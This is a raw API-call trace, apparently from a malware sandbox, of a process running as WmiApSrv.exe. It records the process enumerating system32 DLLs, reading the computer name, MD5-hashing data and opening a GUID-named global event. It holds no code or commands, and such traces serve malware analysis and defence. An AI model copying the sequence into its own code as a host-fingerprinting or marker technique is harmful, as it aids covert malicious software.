cAlternateFileName="")) returned 1 [0169.475] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d8064, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd55d8064, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x828158e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="C_G18030.DLL", cAlternateFileName="")) returned 1 [0169.475] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e9f149, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd5e9f149, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8283c9e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="C_IS2022.DLL", cAlternateFileName="")) returned 1 [0169.475] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bc6567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87bc6567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bec6c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="C_ISCII.DLL", cAlternateFileName="")) returned 1 [0169.475] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfa5a5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x96dfa5a5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x96f51207, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4a00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="d2d1.dll", cAlternateFileName="")) returned 1 [0169.475] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9170ea75, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9170ea75, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfb800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="d3d10.dll", cAlternateFileName="")) returned 1 [0169.475] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9383bc36, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9383bc36, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="d3d10core.dll", cAlternateFileName="")) returned 1 [0169.476] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8cc1aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d8cc1aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d8f230a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x77a00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="d3d10level9.dll", cAlternateFileName="")) returned 1 [0169.476] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f4358f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93f4358f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f4358f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e000, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="d3d10warp.dll", cAlternateFileName="")) returned 1 [0169.476] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce4ebfe, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8ce4ebfe, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x27800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="d3d10_1.dll", cAlternateFileName="")) returned 1 [0169.476] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833c4b62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833c4b62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833c4b62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="d3d10_1core.dll", cAlternateFileName="")) returned 1 [0169.476] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871363b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x871363b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x871363b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7fa00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="d3d11.dll", cAlternateFileName="")) returned 1 [0169.476] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90be63a0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x90be63a0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfd200, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="d3d8.dll", cAlternateFileName="")) returned 1 [0169.476] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731c383, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8731c383, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="d3d8thk.dll", cAlternateFileName="")) returned 1 [0169.476] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e7de63, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e7de63, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97ef0284, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1be600, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="d3d9.dll", cAlternateFileName="")) returned 1 [0169.476] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6a71fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8b6a71fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e400, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="d3dim.dll", cAlternateFileName="")) returned 1 [0169.476] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d4aad4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x93d4aad4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc7a00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="d3dim700.dll", cAlternateFileName="")) returned 1 [0169.476] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc1227, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x86dc1227, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x91000, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="d3dramp.dll", cAlternateFileName="")) returned 1 [0169.476] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f16af92, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8f16af92, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="d3dxof.dll", cAlternateFileName="")) returned 1 [0169.476] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48fd18cd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x48fd18cd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="dataclen.dll", cAlternateFileName="")) returned 1 [0169.476] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8513b27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="davclnt.dll", cAlternateFileName="")) returned 1 [0169.476] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5549552, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xa5549552, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8730fe40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="davhlpr.dll", cAlternateFileName="")) returned 1 [0169.476] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f8987ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="dbgeng.dll", cAlternateFileName="")) returned 1 [0169.476] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f84c52c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd0800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0169.476] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5dae70, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbb5dae70, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x87976130, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x21000, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="dbnetlib.dll", cAlternateFileName="")) returned 1 [0169.476] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83de1c0, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb83de1c0, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="dbnmpntw.dll", cAlternateFileName="")) returned 1 [0169.476] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310962f5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x310962f5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="dciman32.dll", cAlternateFileName="")) returned 1 [0169.476] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce87462, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6ce87462, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x879e8d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="DDACLSys.dll", cAlternateFileName="")) returned 1 [0169.476] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb2e5d95, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xfb2e5d95, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x87a5b910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="DDOIProxy.dll", cAlternateFileName="")) returned 1 [0169.477] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff187ed0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xff187ed0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x88511440, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fce00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="DDORes.dll", cAlternateFileName="")) returned 1 [0169.477] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e74d256, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8e74d256, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x885f4510, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x81e00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="ddraw.dll", cAlternateFileName="")) returned 1 [0169.477] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95b0bd0c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x95b0bd0c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x88642710, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="ddrawex.dll", cAlternateFileName="")) returned 1 [0169.477] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1ba2bbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1ba2bbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1bc8d1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35e00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="defaultlocationcpl.dll", cAlternateFileName="")) returned 1 [0169.477] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1326ca, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4e1326ca, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x887257e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="deskadp.dll", cAlternateFileName="")) returned 1 [0169.478] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x1b3f908 | out: BaseAddress=0x1b3f908*=0x75cf0000) returned 0x0 [0169.481] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.481] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.481] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e840) returned 1 [0169.481] FindClose (in: hFindFile=0x3dfdd8 | out: hFindFile=0x3dfdd8) returned 1 [0169.481] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e268) returned 1 [0169.482] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", pNumArgs=0x1b3f934 | out: pNumArgs=0x1b3f934) returned 0x3f82d8*="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" [0169.482] LocalFree (hMem=0x3f82d8) returned 0x0 [0169.482] Wow64DisableWow64FsRedirection (in: OldValue=0x1b3f930 | out: OldValue=0x1b3f930*=0x0) returned 1 [0169.482] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x800) returned 0xd28e88 [0169.482] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xd28e88, nSize=0x200 | out: lpFilename="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe")) returned 0x25 [0169.482] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e840 [0169.482] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.482] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e840) returned 1 [0169.482] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.482] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.482] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x100) returned 0xd29690 [0169.482] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0xd29690, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0169.482] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd29690) returned 1 [0169.482] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.482] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0169.482] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0xd27ee8 [0169.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0xd27ee8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0169.482] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0xd27f30 [0169.482] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd27ee8) returned 1 [0169.482] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.482] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0xd27ee8 [0169.482] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0xd27f78 [0169.482] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0xd27fc0 [0169.482] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0xd28008 [0169.482] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0xd28050 [0169.483] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0xd28098 [0169.483] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x5000) returned 0xd22850 [0169.483] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0xd280e0 [0169.483] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd280e0) returned 1 [0169.483] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0169.556] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd22850) returned 1 [0169.556] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x3d85c0, lpbSaclPresent=0x1b3f764, pSacl=0x1b3f7b8, lpbSaclDefaulted=0x1b3f764 | out: lpbSaclPresent=0x1b3f764, pSacl=0x1b3f7b8, lpbSaclDefaulted=0x1b3f764) returned 1 [0169.556] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0xd280e0 [0169.556] CreateEventA (lpEventAttributes=0x1b3f7ac, bManualReset=1, bInitialState=0, lpName="") returned 0x110 [0169.556] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd280e0) returned 1 [0169.556] GetLastError () returned 0x0 [0169.556] LocalFree (hMem=0x3d85c0) returned 0x0 [0169.556] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0xd280e0 [0169.556] CryptAcquireContextW (in: phProv=0x1b3f79c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b3f79c*=0x3f86d8) returned 1 [0169.557] CryptCreateHash (in: hProv=0x3f86d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x1b3f79c | out: phHash=0x1b3f79c) returned 1 [0169.557] CryptHashData (hHash=0x3dfdd8, pbData=0xd27f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0169.557] CryptGetHashParam (in: hHash=0x3dfdd8, dwParam=0x4, pbData=0x1b3f7a0, pdwDataLen=0x1b3f7ac, dwFlags=0x0 | out: pbData=0x1b3f7a0, pdwDataLen=0x1b3f7ac) returned 1 [0169.557] CryptGetHashParam (in: hHash=0x3dfdd8, dwParam=0x2, pbData=0xd280e0, pdwDataLen=0x1b3f7a0, dwFlags=0x0 | out: pbData=0xd280e0, pdwDataLen=0x1b3f7a0) returned 1 [0169.557] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0xd28128 [0169.557] CryptDestroyHash (hHash=0x3dfdd8) returned 1 [0169.557] CryptReleaseContext (hProv=0x3f86d8, dwFlags=0x0) returned 1 [0169.557] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd280e0) returned 1 [0169.557] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0xd280e0 [0169.557] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0xd28170 [0169.557] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd280e0) returned 1 [0169.557] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0xd280e0 [0169.557] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd280e0) returned 1 [0169.557] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd28170) returned 1 [0169.557] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd28128) returned 1 [0169.557] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0xd28128 [0169.557] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x128 [0169.557] GetLastError () returned 0x0 